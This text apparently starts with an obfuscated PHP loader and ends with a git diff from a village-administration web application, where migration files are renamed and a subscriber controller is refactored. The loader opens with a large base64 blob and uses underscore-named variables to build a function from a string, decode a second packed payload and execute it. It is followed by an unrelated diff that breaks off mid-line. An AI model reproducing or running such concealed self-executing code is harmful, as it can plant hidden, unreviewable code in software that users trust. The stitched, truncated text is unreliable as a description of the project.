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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/models/migrations/Migrasi_2024060171.php b/donjo-app/models/migrations/Migrasi_2024060171.php index 7c0f3a74b..fc40392cf 100644 --- a/donjo-app/models/migrations/Migrasi_2024060171.php +++ b/donjo-app/models/migrations/Migrasi_2024060171.php @@ -74,7 +74,7 @@ protected function migrasi_data($hasil) $hasil = $hasil && $this->migrasi_2024052151($hasil, $id); $hasil = $hasil && $this->migrasi_2024052871($hasil, $id); } - + $hasil = $hasil && $this->migrasi_2024050551($hasil); $hasil = $hasil && $this->migrasi_2024050251($hasil); $hasil = $hasil && $this->migrasi_2024050751($hasil); diff --git a/donjo-app/models/migrations/Migrasi_2024061251.php b/donjo-app/models/migrations/Migrasi_2024061251.php new file mode 100644 index 000000000..fc316f0cc --- /dev/null +++ b/donjo-app/models/migrations/Migrasi_2024061251.php @@ -0,0 +1,90 @@ +migrasi_2024051253($hasil); + $hasil = $hasil && $this->migrasi_2024060152($hasil); + $hasil = $hasil && $this->migrasi_2024061151($hasil); + + return $hasil && true; + } + + protected function migrasi_2024051253($hasil) + { + Schema::table('alias_kodeisian', static function (Blueprint $table) { + $table->string('judul', 20)->change(); + }); + + return $hasil; + } + + protected function migrasi_2024060152($hasil) + { + $hasil = $hasil && $this->ubah_modul( + ['slug' => 'pengaturan-analisis'], + ['url' => 'setting_analisis'] + ); + $hasil = $hasil && $this->ubah_modul( + ['slug' => 'pengaturan-web'], + ['url' => 'setting_web'] + ); + + return $hasil && $this->ubah_modul( + ['slug' => 'pengaturan-layanan-mandiri'], + ['url' => 'setting_mandiri'] + ); + } + + protected function migrasi_2024061151($hasil) + { + DB::table('produk')->where('status', 2)->update(['status' => 0]); + DB::table('produk_kategori')->where('status', 2)->update(['status' => 0]); + DB::table('pelapak')->where('status', 2)->update(['status' => 0]); + + return $hasil; + } +} diff --git a/donjo-app/models/migrations/Migrasi_dev.php b/donjo-app/models/migrations/Migrasi_beta.php similarity index 85% rename from donjo-app/models/migrations/Migrasi_dev.php rename to donjo-app/models/migrations/Migrasi_beta.php index 8440743ee..c8d60c7e1 100644 --- a/donjo-app/models/migrations/Migrasi_dev.php +++ b/donjo-app/models/migrations/Migrasi_beta.php @@ -37,25 +37,11 @@ defined('BASEPATH') || exit('No direct script access allowed'); -class Migrasi_dev extends MY_model +class Migrasi_beta extends MY_model { public function up() { $hasil = true; - - $hasil = $hasil && $this->migrasi_tabel($hasil); - - return $hasil && $this->migrasi_data($hasil); - } - - protected function migrasi_tabel($hasil) - { - return $hasil && true; - } - - // Migrasi perubahan data - protected function migrasi_data($hasil) - { // Migrasi berdasarkan config_id // $config_id = DB::table('config')->pluck('id')->toArray(); diff --git a/storage/app/vendor/cocur/slugify/src/SlugifyInterface.php b/donjo-app/models/migrations/Migrasi_rev.php similarity index 79% rename from storage/app/vendor/cocur/slugify/src/SlugifyInterface.php rename to donjo-app/models/migrations/Migrasi_rev.php index a475099a1..9d30fcc33 100644 --- a/storage/app/vendor/cocur/slugify/src/SlugifyInterface.php +++ b/donjo-app/models/migrations/Migrasi_rev.php @@ -35,22 +35,19 @@ * */ -namespace Cocur\Slugify; +defined('BASEPATH') || exit('No direct script access allowed'); -/** - * SlugifyInterface - * - * @copyright 2012-2014 Florian Eckerstorfer - * @license http://www.opensource.org/licenses/MIT The MIT License - */ -interface SlugifyInterface +class Migrasi_rev extends MY_model { - /** - * Return a URL safe version of a string. - * - * @param array|string|null $options - * - * @api - */ - public function slugify(string $string, $options = null): string; + public function up() + { + $hasil = true; + // Migrasi berdasarkan config_id + // $config_id = DB::table('config')->pluck('id')->toArray(); + + // foreach ($config_id as $id) { + // } + + return $hasil && true; + } } diff --git a/donjo-app/third_party/pelanggan/controllers/Pelanggan_Controller.php b/donjo-app/third_party/pelanggan/controllers/Pelanggan_Controller.php index 9b69dbf67..a70009c20 100644 --- a/donjo-app/third_party/pelanggan/controllers/Pelanggan_Controller.php +++ b/donjo-app/third_party/pelanggan/controllers/Pelanggan_Controller.php @@ -37,6 +37,8 @@ defined('BASEPATH') || exit('No direct script access allowed'); +use App\Models\Anjungan; +use App\Services\Pelanggan; use GuzzleHttp\Client; use GuzzleHttp\Exception\ClientException; use GuzzleHttp\Psr7; @@ -71,40 +73,43 @@ public function index(): void { unset($this->header['perbaharui_langganan']); - $response = $this->pelanggan_model->api_pelanggan_pemesanan(); - $notif_langganan = $this->pelanggan_model->status_langganan(); + $response = Pelanggan::api_pelanggan_pemesanan(); + $notif_langganan = Pelanggan::status_langganan(); // Ubah layanan_opendesa_token terbaru, jangan perbaharui jika token tersimpan di config (untuk developmen) - if ((null !== $response && $response->body->token !== $this->setting->layanan_opendesa_token) && empty(config_item('token_layanan'))) { + if ((null !== $response && $response->body->token !== setting('layanan_opendesa_token')) && empty(config_item('token_layanan'))) { $post['layanan_opendesa_token'] = $response->body->token; $this->setting_model->update_setting($post); redirect($this->controller); } - $this->render('pelanggan/index', [ + view('admin.pelanggan.index', [ 'title' => 'Info Layanan Pelanggan', 'response' => $response, 'notif_langganan' => $notif_langganan, + 'server' => config_item('server_layanan'), + 'token' => setting('layanan_opendesa_token'), ]); } public function peringatan(): void { + $error_premium = $this->session->error_premium; + $pesan = $this->session->error_premium_pesan; + // hapus auto perbarui unset($this->header['perbaharui_langganan']); - $response = $this->pelanggan_model->api_pelanggan_pemesanan(); - $notif_langganan = $this->pelanggan_model->status_langganan(); - - if (empty($this->session->error_premium)) { - redirect('beranda'); - } + $response = Pelanggan::api_pelanggan_pemesanan(); + $notif_langganan = Pelanggan::status_langganan(); - $this->render('pelanggan/index', [ + view('admin.pelanggan.index', [ 'title' => 'Info Peringatan', 'response' => $response, 'notif_langganan' => $notif_langganan, + 